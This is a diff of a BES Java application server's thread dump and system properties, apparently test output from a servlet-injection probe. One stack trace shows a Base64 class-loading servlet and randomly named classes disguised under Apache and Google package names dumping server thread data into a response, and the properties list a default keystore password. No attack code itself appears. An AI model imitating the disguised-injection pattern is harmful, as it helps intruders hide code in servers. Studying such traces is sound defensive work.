at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@75cd8a86
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||
|
||||
"admin-thread-pool-3" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@5c6356f1
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:235)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:216)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:207)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:400)
|
||||
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:540)
|
||||
at com.bes.enterprise.startup.ASMain.main(ASMain.java:27)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[/sysapp]]" #71 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"admin-thread-pool-2" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"admin-thread-pool-1" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RetryTimer" #45 daemon [WAITING] on java.util.TaskQueue@16520725
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[]]" #69 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"bes-deployment-scheduled-executor-thread." #72 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b67ca50
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-0.0.0.0-8080-Acceptor-0" #65 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
@@ -385,7 +466,7 @@ ThreadStacks:
|
||||
at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-thread-pool-4" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
||||
"http-thread-pool-2" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
@@ -399,7 +480,33 @@ ThreadStacks:
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"admin-thread-pool-4" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
|
||||
"Stateful cache" #46 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4267f200
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-0.0.0.0-6900-Acceptor-0" #62 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||
at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-0.0.0.0-8080-AsyncTimeout" #66 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-thread-pool-8" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
@@ -413,20 +520,26 @@ ThreadStacks:
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-thread-pool-8" #66 daemon [RUNNABLE]
|
||||
"http-thread-pool-1" #53 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.lang.Thread.dumpThreads(Native Method)
|
||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||
at org.apache.commons.lang.NFIaM.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
||||
at com.google.gso.JsjjN.ErrorWiwueHandler.toString(BasicInfoPrinter.java:26)
|
||||
at java.lang.String.valueOf(String.java:2994)
|
||||
at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244)
|
||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:21)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
|
||||
@@ -448,119 +561,14 @@ ThreadStacks:
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@3468863
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:235)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:216)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:207)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:400)
|
||||
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:540)
|
||||
at com.bes.enterprise.startup.ASMain.main(ASMain.java:27)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #54 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@8390b45
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||
|
||||
"http-nio-0.0.0.0-8080-ClientPoller-0" #70 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-thread-pool-7" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-0.0.0.0-6900-Acceptor-0" #68 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||
at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-0.0.0.0-8080-AsyncTimeout" #72 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-thread-pool-3" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"admin-thread-pool-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI Reaper" #81 [WAITING] on java.lang.ref.ReferenceQueue$Lock@29479f9a
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@566f350f
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
Base64ClassLoaderServlet
|
||||
EmptyFilter
|
||||
ServletNameTestFilter
|
||||
UrlMappingTestFilter
|
||||
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
||||
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
||||
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
||||
@@ -569,6 +577,7 @@ com.bes.enterprise.catalina.BESAppservValve
|
||||
com.bes.enterprise.catalina.BesContextCleanupValve
|
||||
com.bes.enterprise.server.builder.BesWebModule
|
||||
com.bes.enterprise.startup.ASMain
|
||||
com.google.gso.JsjjN.ErrorWiwueHandler
|
||||
org.apache.catalina.authenticator.AuthenticatorBase
|
||||
org.apache.catalina.connector.CoyoteAdapter
|
||||
org.apache.catalina.connector.CoyoteWriter
|
||||
@@ -580,7 +589,6 @@ org.apache.catalina.core.StandardHostValve
|
||||
org.apache.catalina.core.StandardWrapperValve
|
||||
org.apache.catalina.startup.Bootstrap
|
||||
org.apache.catalina.valves.ErrorReportValve
|
||||
org.apache.commons.lang.NFIaM.ErrorHandler
|
||||
org.apache.coyote.AbstractProcessorLight
|
||||
org.apache.coyote.AbstractProtocol$AsyncTimeout
|
||||
org.apache.coyote.AbstractProtocol$ConnectionHandler
|
||||
|
||||
@@ -0,0 +1,728 @@
|
||||
# Generated At 2026-05-24 05:04:36
|
||||
SystemProps:
|
||||
bes.loader: bes-system
|
||||
java.vendor: Oracle Corporation
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
javax.net.ssl.trustStorePassword: changeit
|
||||
javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory
|
||||
bes.home: /opt/bes
|
||||
catalina.useNaming: true
|
||||
redis.loader: "${bes.home}/lib/redis/*.jar"
|
||||
os.name: Linux
|
||||
sun.boot.class.path: /opt/bes/lib/endorsed/javaee-api-endorsed.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes
|
||||
javax.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory
|
||||
javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem
|
||||
java.vm.specification.vendor: Oracle Corporation
|
||||
java.runtime.version: 1.8.0_342-b07
|
||||
jgroups.loader: "${bes.home}/lib/jgroups/*.jar"
|
||||
xxx: xxx
|
||||
javax.net.ssl.keyStore: /opt/bes/conf/security/keystore.jks
|
||||
javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem
|
||||
user.name: root
|
||||
shared.loader: "${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
||||
com.bes.resource.ejb.leakDetect: false
|
||||
com.bes.hostName: d35a5df256eb
|
||||
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
||||
user.language: en
|
||||
derby.system.home: /opt/bes
|
||||
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
|
||||
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||
com.bes.enterprise.log.outAndErrNotRedirect: false
|
||||
java.version: 1.8.0_342
|
||||
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
||||
user.timezone: Etc/UTC
|
||||
java.net.preferIPv4Stack: true
|
||||
sun.arch.data.model: 64
|
||||
com.bes.installRoot: /opt/bes
|
||||
java.util.concurrent.ForkJoinPool.common.threadFactory: com.bes.enterprise.webtier.startup.SafeForkJoinWorkerThreadFactory
|
||||
java.endorsed.dirs: /opt/bes/lib/endorsed
|
||||
java.rmi.server.randomIDs: true
|
||||
sun.cpu.isalist:
|
||||
sun.jnu.encoding: UTF-8
|
||||
file.encoding.pkg: sun.io
|
||||
bes.base: /opt/bes
|
||||
package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web.
|
||||
file.separator: /
|
||||
java.specification.name: Java Platform API Specification
|
||||
java.class.version: 52.0
|
||||
java.home: /usr/local/openjdk-8/jre
|
||||
java.vm.info: mixed mode
|
||||
com.bes.instanceName: server
|
||||
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||
os.version: 6.8.0-111-generic
|
||||
path.separator: :
|
||||
java.vm.version: 25.342-b07
|
||||
com.bes.verboseMode: true
|
||||
bval.in-container: true
|
||||
com.bes.enterprise.deployments.classpath.filter.systemapps: false
|
||||
com.bes.resource.leakDetect: false
|
||||
jdbc.drivers: org.apache.derby.jdbc.ClientDriver
|
||||
java.awt.printerjob: sun.print.PSPrinterJob
|
||||
java.security.policy: /opt/bes/conf/security/server.policy
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
awt.toolkit: sun.awt.X11.XToolkit
|
||||
javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem
|
||||
package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web.
|
||||
java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming
|
||||
java.security.egd: file:/dev/./urandom
|
||||
user.home: /root
|
||||
java.specification.vendor: Oracle Corporation
|
||||
java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/x64
|
||||
java.vendor.url: http://java.oracle.com/
|
||||
com.bes.enterprise.deployments.classpath: false
|
||||
java.vm.vendor: Oracle Corporation
|
||||
common.loader: "${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/lib/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/db/lib/derby.jar","${bes.home}/modules/db/lib/derbyclient.jar"
|
||||
com.bes.enterprise.startup.ExitOnInitFailure: true
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false -instancename server start
|
||||
java.class.path: /opt/bes/patch/V9.5.2.4703.010.core.jar:/opt/bes/patch/V9.5.2.4703.009.core.jar:/opt/bes/patch/V9.5.2.4703.005.core.jar:/opt/bes/patch/V9.5.2.4703.004.core.jar:/opt/bes/patch/V9.5.2.4703.003.core.jar:/opt/bes/patch/V9.5.2.4703.002.core.jar:/opt/bes/patch/V9.5.2.4703.001.core.jar:/opt/bes/lib/bootstrap.jar:/opt/bes/lib/bes-logger.jar:/opt/bes/lib/bes-config-parser.jar:/opt/bes/lib/bes-config-serverbeans.jar:/opt/bes/lib/bes-patch.jar:/opt/bes/lib/bes-license.jar:/opt/bes/lib/bes-common-util.jar:/opt/bes/lib/3rd/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar
|
||||
com.bes.instanceRoot: /opt/bes
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
